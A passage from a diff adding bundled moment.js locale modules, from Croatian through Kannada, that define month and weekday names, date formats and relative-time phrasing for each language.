+= "dana" + } + return n; + case "MM": + if (e === 1) { + n += "mjesec" + } else if (e === 2 || e === 3 || e === 4) { + n += "mjeseca" + } else { + n += "mjeseci" + } + return n; + case "yy": + if (e === 1) { + n += "godina" + } else if (e === 2 || e === 3 || e === 4) { + n += "godine" + } else { + n += "godina" + } + return n + } + } + var i = e.defineLocale("hr", { + months: { + format: "siječnja_veljače_ožujka_travnja_svibnja_lipnja_srpnja_kolovoza_rujna_listopada_studenoga_prosinca".split("_"), + standalone: "siječanj_veljača_ožujak_travanj_svibanj_lipanj_srpanj_kolovoz_rujan_listopad_studeni_prosinac".split("_") + }, + monthsShort: "sij._velj._ožu._tra._svi._lip._srp._kol._ruj._lis._stu._pro.".split("_"), + monthsParseExact: true, + weekdays: "nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"), + weekdaysShort: "ned._pon._uto._sri._čet._pet._sub.".split("_"), + weekdaysMin: "ne_po_ut_sr_če_pe_su".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY H:mm", + LLLL: "dddd, D. MMMM YYYY H:mm" + }, + calendar: { + sameDay: "[danas u] LT", + nextDay: "[sutra u] LT", + nextWeek: function () { + switch (this.day()) { + case 0: + return "[u] [nedjelju] [u] LT"; + case 3: + return "[u] [srijedu] [u] LT"; + case 6: + return "[u] [subotu] [u] LT"; + case 1: + case 2: + case 4: + case 5: + return "[u] dddd [u] LT" + } + }, + lastDay: "[jučer u] LT", + lastWeek: function () { + switch (this.day()) { + case 0: + case 3: + return "[prošlu] dddd [u] LT"; + case 6: + return "[prošle] [subote] [u] LT"; + case 1: + case 2: + case 4: + case 5: + return "[prošli] dddd [u] LT" + } + }, + sameElse: "L" + }, + relativeTime: { + future: "za %s", + past: "prije %s", + s: "par sekundi", + ss: t, + m: t, + mm: t, + h: t, + hh: t, + d: "dan", + dd: t, + M: "mjesec", + MM: t, + y: "godinu", + yy: t + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 7 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = "vasárnap hétfőn kedden szerdán csütörtökön pénteken szombaton".split(" "); + + function i(e, t, i, n) { + var r = e; + switch (i) { + case "s": + return n || t ? "néhány másodperc" : "néhány másodperce"; + case "ss": + return r + (n || t) ? " másodperc" : " másodperce"; + case "m": + return "egy" + (n || t ? " perc" : " perce"); + case "mm": + return r + (n || t ? " perc" : " perce"); + case "h": + return "egy" + (n || t ? " óra" : " órája"); + case "hh": + return r + (n || t ? " óra" : " órája"); + case "d": + return "egy" + (n || t ? " nap" : " napja"); + case "dd": + return r + (n || t ? " nap" : " napja"); + case "M": + return "egy" + (n || t ? " hónap" : " hónapja"); + case "MM": + return r + (n || t ? " hónap" : " hónapja"); + case "y": + return "egy" + (n || t ? " év" : " éve"); + case "yy": + return r + (n || t ? " év" : " éve") + } + return "" + } + + function n(e) { + return (e ? "" : "[múlt] ") + "[" + t[this.day()] + "] LT[-kor]" + } + var r = e.defineLocale("hu", { + months: "január_február_március_április_május_június_július_augusztus_szeptember_október_november_december".split("_"), + monthsShort: "jan_feb_márc_ápr_máj_jún_júl_aug_szept_okt_nov_dec".split("_"), + weekdays: "vasárnap_hétfő_kedd_szerda_csütörtök_péntek_szombat".split("_"), + weekdaysShort: "vas_hét_kedd_sze_csüt_pén_szo".split("_"), + weekdaysMin: "v_h_k_sze_cs_p_szo".split("_"), + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "YYYY.MM.DD.", + LL: "YYYY. MMMM D.", + LLL: "YYYY. MMMM D. H:mm", + LLLL: "YYYY. MMMM D., dddd H:mm" + }, + meridiemParse: /de|du/i, + isPM: function (e) { + return e.charAt(1).toLowerCase() === "u" + }, + meridiem: function (e, t, i) { + if (e < 12) { + return i === true ? "de" : "DE" + } else { + return i === true ? "du" : "DU" + } + }, + calendar: { + sameDay: "[ma] LT[-kor]", + nextDay: "[holnap] LT[-kor]", + nextWeek: function () { + return n.call(this, true) + }, + lastDay: "[tegnap] LT[-kor]", + lastWeek: function () { + return n.call(this, false) + }, + sameElse: "L" + }, + relativeTime: { + future: "%s múlva", + past: "%s", + s: i, + ss: i, + m: i, + mm: i, + h: i, + hh: i, + d: i, + dd: i, + M: i, + MM: i, + y: i, + yy: i + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return r + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("hy-am", { + months: { + format: "հունվարի_փետրվարի_մարտի_ապրիլի_մայիսի_հունիսի_հուլիսի_օգոստոսի_սեպտեմբերի_հոկտեմբերի_նոյեմբերի_դեկտեմբերի".split("_"), + standalone: "հունվար_փետրվար_մարտ_ապրիլ_մայիս_հունիս_հուլիս_օգոստոս_սեպտեմբեր_հոկտեմբեր_նոյեմբեր_դեկտեմբեր".split("_") + }, + monthsShort: "հնվ_փտր_մրտ_ապր_մյս_հնս_հլս_օգս_սպտ_հկտ_նմբ_դկտ".split("_"), + weekdays: "կիրակի_երկուշաբթի_երեքշաբթի_չորեքշաբթի_հինգշաբթի_ուրբաթ_շաբաթ".split("_"), + weekdaysShort: "կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ".split("_"), + weekdaysMin: "կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D MMMM YYYY թ.", + LLL: "D MMMM YYYY թ., HH:mm", + LLLL: "dddd, D MMMM YYYY թ., HH:mm" + }, + calendar: { + sameDay: "[այսօր] LT", + nextDay: "[վաղը] LT", + lastDay: "[երեկ] LT", + nextWeek: function () { + return "dddd [օրը ժամը] LT" + }, + lastWeek: function () { + return "[անցած] dddd [օրը ժամը] LT" + }, + sameElse: "L" + }, + relativeTime: { + future: "%s հետո", + past: "%s առաջ", + s: "մի քանի վայրկյան", + ss: "%d վայրկյան", + m: "րոպե", + mm: "%d րոպե", + h: "ժամ", + hh: "%d ժամ", + d: "օր", + dd: "%d օր", + M: "ամիս", + MM: "%d ամիս", + y: "տարի", + yy: "%d տարի" + }, + meridiemParse: /գիշերվա|առավոտվա|ցերեկվա|երեկոյան/, + isPM: function (e) { + return /^(ցերեկվա|երեկոյան)$/.test(e) + }, + meridiem: function (e) { + if (e < 4) { + return "գիշերվա" + } else if (e < 12) { + return "առավոտվա" + } else if (e < 17) { + return "ցերեկվա" + } else { + return "երեկոյան" + } + }, + dayOfMonthOrdinalParse: /\d{1,2}|\d{1,2}-(ին|րդ)/, + ordinal: function (e, t) { + switch (t) { + case "DDD": + case "w": + case "W": + case "DDDo": + if (e === 1) { + return e + "-ին" + } + return e + "-րդ"; + default: + return e + } + }, + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("id", { + months: "Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_November_Desember".split("_"), + monthsShort: "Jan_Feb_Mar_Apr_Mei_Jun_Jul_Agt_Sep_Okt_Nov_Des".split("_"), + weekdays: "Minggu_Senin_Selasa_Rabu_Kamis_Jumat_Sabtu".split("_"), + weekdaysShort: "Min_Sen_Sel_Rab_Kam_Jum_Sab".split("_"), + weekdaysMin: "Mg_Sn_Sl_Rb_Km_Jm_Sb".split("_"), + longDateFormat: { + LT: "HH.mm", + LTS: "HH.mm.ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY [pukul] HH.mm", + LLLL: "dddd, D MMMM YYYY [pukul] HH.mm" + }, + meridiemParse: /pagi|siang|sore|malam/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "pagi") { + return e + } else if (t === "siang") { + return e >= 11 ? e : e + 12 + } else if (t === "sore" || t === "malam") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + if (e < 11) { + return "pagi" + } else if (e < 15) { + return "siang" + } else if (e < 19) { + return "sore" + } else { + return "malam" + } + }, + calendar: { + sameDay: "[Hari ini pukul] LT", + nextDay: "[Besok pukul] LT", + nextWeek: "dddd [pukul] LT", + lastDay: "[Kemarin pukul] LT", + lastWeek: "dddd [lalu pukul] LT", + sameElse: "L" + }, + relativeTime: { + future: "dalam %s", + past: "%s yang lalu", + s: "beberapa detik", + ss: "%d detik", + m: "semenit", + mm: "%d menit", + h: "sejam", + hh: "%d jam", + d: "sehari", + dd: "%d hari", + M: "sebulan", + MM: "%d bulan", + y: "setahun", + yy: "%d tahun" + }, + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e) { + if (e % 100 === 11) { + return true + } else if (e % 10 === 1) { + return false + } + return true + } + + function i(e, i, n, r) { + var a = e + " "; + switch (n) { + case "s": + return i || r ? "nokkrar sekúndur" : "nokkrum sekúndum"; + case "ss": + if (t(e)) { + return a + (i || r ? "sekúndur" : "sekúndum") + } + return a + "sekúnda"; + case "m": + return i ? "mínúta" : "mínútu"; + case "mm": + if (t(e)) { + return a + (i || r ? "mínútur" : "mínútum") + } else if (i) { + return a + "mínúta" + } + return a + "mínútu"; + case "hh": + if (t(e)) { + return a + (i || r ? "klukkustundir" : "klukkustundum") + } + return a + "klukkustund"; + case "d": + if (i) { + return "dagur" + } + return r ? "dag" : "degi"; + case "dd": + if (t(e)) { + if (i) { + return a + "dagar" + } + return a + (r ? "daga" : "dögum") + } else if (i) { + return a + "dagur" + } + return a + (r ? "dag" : "degi"); + case "M": + if (i) { + return "mánuður" + } + return r ? "mánuð" : "mánuði"; + case "MM": + if (t(e)) { + if (i) { + return a + "mánuðir" + } + return a + (r ? "mánuði" : "mánuðum") + } else if (i) { + return a + "mánuður" + } + return a + (r ? "mánuð" : "mánuði"); + case "y": + return i || r ? "ár" : "ári"; + case "yy": + if (t(e)) { + return a + (i || r ? "ár" : "árum") + } + return a + (i || r ? "ár" : "ári") + } + } + var n = e.defineLocale("is", { + months: "janúar_febrúar_mars_apríl_maí_júní_júlí_ágúst_september_október_nóvember_desember".split("_"), + monthsShort: "jan_feb_mar_apr_maí_jún_júl_ágú_sep_okt_nóv_des".split("_"), + weekdays: "sunnudagur_mánudagur_þriðjudagur_miðvikudagur_fimmtudagur_föstudagur_laugardagur".split("_"), + weekdaysShort: "sun_mán_þri_mið_fim_fös_lau".split("_"), + weekdaysMin: "Su_Má_Þr_Mi_Fi_Fö_La".split("_"), + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY [kl.] H:mm", + LLLL: "dddd, D. MMMM YYYY [kl.] H:mm" + }, + calendar: { + sameDay: "[í dag kl.] LT", + nextDay: "[á morgun kl.] LT", + nextWeek: "dddd [kl.] LT", + lastDay: "[í gær kl.] LT", + lastWeek: "[síðasta] dddd [kl.] LT", + sameElse: "L" + }, + relativeTime: { + future: "eftir %s", + past: "fyrir %s síðan", + s: i, + ss: i, + m: i, + mm: i, + h: "klukkustund", + hh: i, + d: i, + dd: i, + M: i, + MM: i, + y: i, + yy: i + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("it", { + months: "gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"), + monthsShort: "gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"), + weekdays: "domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"), + weekdaysShort: "dom_lun_mar_mer_gio_ven_sab".split("_"), + weekdaysMin: "do_lu_ma_me_gi_ve_sa".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Oggi alle] LT", + nextDay: "[Domani alle] LT", + nextWeek: "dddd [alle] LT", + lastDay: "[Ieri alle] LT", + lastWeek: function () { + switch (this.day()) { + case 0: + return "[la scorsa] dddd [alle] LT"; + default: + return "[lo scorso] dddd [alle] LT" + } + }, + sameElse: "L" + }, + relativeTime: { + future: function (e) { + return (/^[0-9].+$/.test(e) ? "tra" : "in") + " " + e + }, + past: "%s fa", + s: "alcuni secondi", + ss: "%d secondi", + m: "un minuto", + mm: "%d minuti", + h: "un'ora", + hh: "%d ore", + d: "un giorno", + dd: "%d giorni", + M: "un mese", + MM: "%d mesi", + y: "un anno", + yy: "%d anni" + }, + dayOfMonthOrdinalParse: /\d{1,2}º/, + ordinal: "%dº", + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("it-ch", { + months: "gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"), + monthsShort: "gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"), + weekdays: "domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"), + weekdaysShort: "dom_lun_mar_mer_gio_ven_sab".split("_"), + weekdaysMin: "do_lu_ma_me_gi_ve_sa".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Oggi alle] LT", + nextDay: "[Domani alle] LT", + nextWeek: "dddd [alle] LT", + lastDay: "[Ieri alle] LT", + lastWeek: function () { + switch (this.day()) { + case 0: + return "[la scorsa] dddd [alle] LT"; + default: + return "[lo scorso] dddd [alle] LT" + } + }, + sameElse: "L" + }, + relativeTime: { + future: function (e) { + return (/^[0-9].+$/.test(e) ? "tra" : "in") + " " + e + }, + past: "%s fa", + s: "alcuni secondi", + ss: "%d secondi", + m: "un minuto", + mm: "%d minuti", + h: "un'ora", + hh: "%d ore", + d: "un giorno", + dd: "%d giorni", + M: "un mese", + MM: "%d mesi", + y: "un anno", + yy: "%d anni" + }, + dayOfMonthOrdinalParse: /\d{1,2}º/, + ordinal: "%dº", + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("ja", { + months: "一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月".split("_"), + monthsShort: "1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"), + weekdays: "日曜日_月曜日_火曜日_水曜日_木曜日_金曜日_土曜日".split("_"), + weekdaysShort: "日_月_火_水_木_金_土".split("_"), + weekdaysMin: "日_月_火_水_木_金_土".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "YYYY/MM/DD", + LL: "YYYY年M月D日", + LLL: "YYYY年M月D日 HH:mm", + LLLL: "YYYY年M月D日 dddd HH:mm", + l: "YYYY/MM/DD", + ll: "YYYY年M月D日", + lll: "YYYY年M月D日 HH:mm", + llll: "YYYY年M月D日(ddd) HH:mm" + }, + meridiemParse: /午前|午後/i, + isPM: function (e) { + return e === "午後" + }, + meridiem: function (e, t, i) { + if (e < 12) { + return "午前" + } else { + return "午後" + } + }, + calendar: { + sameDay: "[今日] LT", + nextDay: "[明日] LT", + nextWeek: function (e) { + if (e.week() < this.week()) { + return "[来週]dddd LT" + } else { + return "dddd LT" + } + }, + lastDay: "[昨日] LT", + lastWeek: function (e) { + if (this.week() < e.week()) { + return "[先週]dddd LT" + } else { + return "dddd LT" + } + }, + sameElse: "L" + }, + dayOfMonthOrdinalParse: /\d{1,2}日/, + ordinal: function (e, t) { + switch (t) { + case "d": + case "D": + case "DDD": + return e + "日"; + default: + return e + } + }, + relativeTime: { + future: "%s後", + past: "%s前", + s: "数秒", + ss: "%d秒", + m: "1分", + mm: "%d分", + h: "1時間", + hh: "%d時間", + d: "1日", + dd: "%d日", + M: "1ヶ月", + MM: "%dヶ月", + y: "1年", + yy: "%d年" + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("jv", { + months: "Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_Nopember_Desember".split("_"), + monthsShort: "Jan_Feb_Mar_Apr_Mei_Jun_Jul_Ags_Sep_Okt_Nop_Des".split("_"), + weekdays: "Minggu_Senen_Seloso_Rebu_Kemis_Jemuwah_Septu".split("_"), + weekdaysShort: "Min_Sen_Sel_Reb_Kem_Jem_Sep".split("_"), + weekdaysMin: "Mg_Sn_Sl_Rb_Km_Jm_Sp".split("_"), + longDateFormat: { + LT: "HH.mm", + LTS: "HH.mm.ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY [pukul] HH.mm", + LLLL: "dddd, D MMMM YYYY [pukul] HH.mm" + }, + meridiemParse: /enjing|siyang|sonten|ndalu/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "enjing") { + return e + } else if (t === "siyang") { + return e >= 11 ? e : e + 12 + } else if (t === "sonten" || t === "ndalu") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + if (e < 11) { + return "enjing" + } else if (e < 15) { + return "siyang" + } else if (e < 19) { + return "sonten" + } else { + return "ndalu" + } + }, + calendar: { + sameDay: "[Dinten puniko pukul] LT", + nextDay: "[Mbenjang pukul] LT", + nextWeek: "dddd [pukul] LT", + lastDay: "[Kala wingi pukul] LT", + lastWeek: "dddd [kepengker pukul] LT", + sameElse: "L" + }, + relativeTime: { + future: "wonten ing %s", + past: "%s ingkang kepengker", + s: "sawetawis detik", + ss: "%d detik", + m: "setunggal menit", + mm: "%d menit", + h: "setunggal jam", + hh: "%d jam", + d: "sedinten", + dd: "%d dinten", + M: "sewulan", + MM: "%d wulan", + y: "setaun", + yy: "%d taun" + }, + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("ka", { + months: { + standalone: "იანვარი_თებერვალი_მარტი_აპრილი_მაისი_ივნისი_ივლისი_აგვისტო_სექტემბერი_ოქტომბერი_ნოემბერი_დეკემბერი".split("_"), + format: "იანვარს_თებერვალს_მარტს_აპრილის_მაისს_ივნისს_ივლისს_აგვისტს_სექტემბერს_ოქტომბერს_ნოემბერს_დეკემბერს".split("_") + }, + monthsShort: "იან_თებ_მარ_აპრ_მაი_ივნ_ივლ_აგვ_სექ_ოქტ_ნოე_დეკ".split("_"), + weekdays: { + standalone: "კვირა_ორშაბათი_სამშაბათი_ოთხშაბათი_ხუთშაბათი_პარასკევი_შაბათი".split("_"), + format: "კვირას_ორშაბათს_სამშაბათს_ოთხშაბათს_ხუთშაბათს_პარასკევს_შაბათს".split("_"), + isFormat: /(წინა|შემდეგ)/ + }, + weekdaysShort: "კვი_ორშ_სამ_ოთხ_ხუთ_პარ_შაბ".split("_"), + weekdaysMin: "კვ_ორ_სა_ოთ_ხუ_პა_შა".split("_"), + longDateFormat: { + LT: "h:mm A", + LTS: "h:mm:ss A", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY h:mm A", + LLLL: "dddd, D MMMM YYYY h:mm A" + }, + calendar: { + sameDay: "[დღეს] LT[-ზე]", + nextDay: "[ხვალ] LT[-ზე]", + lastDay: "[გუშინ] LT[-ზე]", + nextWeek: "[შემდეგ] dddd LT[-ზე]", + lastWeek: "[წინა] dddd LT-ზე", + sameElse: "L" + }, + relativeTime: { + future: function (e) { + return /(წამი|წუთი|საათი|წელი)/.test(e) ? e.replace(/ი$/, "ში") : e + "ში" + }, + past: function (e) { + if (/(წამი|წუთი|საათი|დღე|თვე)/.test(e)) { + return e.replace(/(ი|ე)$/, "ის წინ") + } + if (/წელი/.test(e)) { + return e.replace(/წელი$/, "წლის წინ") + } + }, + s: "რამდენიმე წამი", + ss: "%d წამი", + m: "წუთი", + mm: "%d წუთი", + h: "საათი", + hh: "%d საათი", + d: "დღე", + dd: "%d დღე", + M: "თვე", + MM: "%d თვე", + y: "წელი", + yy: "%d წელი" + }, + dayOfMonthOrdinalParse: /0|1-ლი|მე-\d{1,2}|\d{1,2}-ე/, + ordinal: function (e) { + if (e === 0) { + return e + } + if (e === 1) { + return e + "-ლი" + } + if (e < 20 || e <= 100 && e % 20 === 0 || e % 100 === 0) { + return "მე-" + e + } + return e + "-ე" + }, + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 0: "-ші", + 1: "-ші", + 2: "-ші", + 3: "-ші", + 4: "-ші", + 5: "-ші", + 6: "-шы", + 7: "-ші", + 8: "-ші", + 9: "-шы", + 10: "-шы", + 20: "-шы", + 30: "-шы", + 40: "-шы", + 50: "-ші", + 60: "-шы", + 70: "-ші", + 80: "-ші", + 90: "-шы", + 100: "-ші" + }; + var i = e.defineLocale("kk", { + months: "қаңтар_ақпан_наурыз_сәуір_мамыр_маусым_шілде_тамыз_қыркүйек_қазан_қараша_желтоқсан".split("_"), + monthsShort: "қаң_ақп_нау_сәу_мам_мау_шіл_там_қыр_қаз_қар_жел".split("_"), + weekdays: "жексенбі_дүйсенбі_сейсенбі_сәрсенбі_бейсенбі_жұма_сенбі".split("_"), + weekdaysShort: "жек_дүй_сей_сәр_бей_жұм_сен".split("_"), + weekdaysMin: "жк_дй_сй_ср_бй_жм_сн".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Бүгін сағат] LT", + nextDay: "[Ертең сағат] LT", + nextWeek: "dddd [сағат] LT", + lastDay: "[Кеше сағат] LT", + lastWeek: "[Өткен аптаның] dddd [сағат] LT", + sameElse: "L" + }, + relativeTime: { + future: "%s ішінде", + past: "%s бұрын", + s: "бірнеше секунд", + ss: "%d секунд", + m: "бір минут", + mm: "%d минут", + h: "бір сағат", + hh: "%d сағат", + d: "бір күн", + dd: "%d күн", + M: "бір ай", + MM: "%d ай", + y: "бір жыл", + yy: "%d жыл" + }, + dayOfMonthOrdinalParse: /\d{1,2}-(ші|шы)/, + ordinal: function (e) { + var i = e % 10, + n = e >= 100 ? 100 : null; + return e + (t[e] || t[i] || t[n]) + }, + week: { + dow: 1, + doy: 7 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "១", + 2: "២", + 3: "៣", + 4: "៤", + 5: "៥", + 6: "៦", + 7: "៧", + 8: "៨", + 9: "៩", + 0: "០" + }, + i = { + "១": "1", + "២": "2", + "៣": "3", + "៤": "4", + "៥": "5", + "៦": "6", + "៧": "7", + "៨": "8", + "៩": "9", + "០": "0" + }; + var n = e.defineLocale("km", { + months: "មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ".split("_"), + monthsShort: "មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ".split("_"), + weekdays: "អាទិត្យ_ច័ន្ទ_អង្គារ_ពុធ_ព្រហស្បតិ៍_សុក្រ_សៅរ៍".split("_"), + weekdaysShort: "អា_ច_អ_ព_ព្រ_សុ_ស".split("_"), + weekdaysMin: "អា_ច_អ_ព_ព្រ_សុ_ស".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + meridiemParse: /ព្រឹក|ល្ងាច/, + isPM: function (e) { + return e === "ល្ងាច" + }, + meridiem: function (e, t, i) { + if (e < 12) { + return "ព្រឹក" + } else { + return "ល្ងាច" + } + }, + calendar: { + sameDay: "[ថ្ងៃនេះ ម៉ោង] LT", + nextDay: "[ស្អែក ម៉ោង] LT", + nextWeek: "dddd [ម៉ោង] LT", + lastDay: "[ម្សិលមិញ ម៉ោង] LT", + lastWeek: "dddd [សប្តាហ៍មុន] [ម៉ោង] LT", + sameElse: "L" + }, + relativeTime: { + future: "%sទៀត", + past: "%sមុន", + s: "ប៉ុន្មានវិនាទី", + ss: "%d វិនាទី", + m: "មួយនាទី", + mm: "%d នាទី", + h: "មួយម៉ោង", + hh: "%d ម៉ោង", + d: "មួយថ្ងៃ", + dd: "%d ថ្ងៃ", + M: "មួយខែ", + MM: "%d ខែ", + y: "មួយឆ្នាំ", + yy: "%d ឆ្នាំ" + }, + dayOfMonthOrdinalParse: /ទី\d{1,2}/, + ordinal: "ទី%d", + preparse: function (e) { + return e.replace(/[១២៣៤៥៦៧៨៩០]/g, function (e) { + return i[e] + }) + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }) + }, + week: { + dow: 1, + doy: 4 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "೧", + 2: "೨", + 3: "೩", + 4: "೪", + 5: "೫", + 6: "೬", + 7: "೭", + 8: "೮", + 9: "೯", + 0: "೦" + }, + i = { + "೧": "1", + "೨": "2", + "೩": "3", + "೪": "4", + "೫": "5", + "೬": "6", + "೭": "7", + "೮": "8", + "೯": "9", + "೦": "0" + }; + var n = e.defineLocale("kn", { + months: "ಜನವರಿ_ಫೆಬ್ರವರಿ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂಬರ್_ಅಕ್ಟೋಬರ್_ನವೆಂಬರ್_ಡಿಸೆಂಬರ್".split("_"), + monthsShort: "ಜನ_ಫೆಬ್ರ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂ_ಅಕ್ಟೋ_ನವೆಂ_ಡಿಸೆಂ".split("_"), + monthsParseExact: true, + weekdays: "ಭಾನುವಾರ_ಸೋಮವಾರ_ಮಂಗಳವಾರ_ಬುಧವಾರ_ಗುರುವಾರ_ಶುಕ್ರವಾರ_ಶನಿವಾರ".split("_"), + weekdaysShort: "ಭಾನು_ಸೋಮ_ಮಂಗಳ_ಬುಧ_ಗುರು_ಶುಕ್ರ_ಶನಿ".split("_"), + weekdaysMin: "ಭಾ_ಸೋ_ಮಂ_ಬು_ಗು_ಶು_ಶ".split("_"), + longDateFormat: { + LT: "A h:mm", + LTS: "A h:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY, A h:mm", + LLLL: "dddd, D MMMM YYYY, A h:mm" + }, + calendar: { + sameDay: "[ಇಂದು] LT", + nextDay: "[ನಾಳೆ] LT", + nextWeek: "dddd, LT", + lastDay: "[ನಿನ್ನೆ] LT", + lastWeek: "[ಕೊನೆಯ] dddd, LT", + sameElse: "L" + }, + relativeTime: { + future: "%s ನಂತರ", + past: "%s ಹಿಂದೆ", + s: "ಕೆಲವು ಕ್ಷಣಗಳು", + ss: "%d ಸೆಕೆಂಡುಗಳು", + m: "ಒಂದು ನಿಮಿಷ", + mm: "%d ನಿಮಿಷ", + h: "ಒಂದು ಗಂಟೆ", + hh: "%d ಗಂಟೆ", + d: "ಒಂದು ದಿನ", + dd: "%d ದಿನ", + M: "ಒಂದು ತಿಂಗಳು", + MM: "%d ತಿಂಗಳು", + y: "ಒಂದು ವರ್ಷ", + yy: "%d ವರ್ಷ" + }, + preparse: function (e) { + return e.replace(/[೧೨೩೪೫೬೭೮೯೦]/g, function (e) { + return i[e] + }) + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { 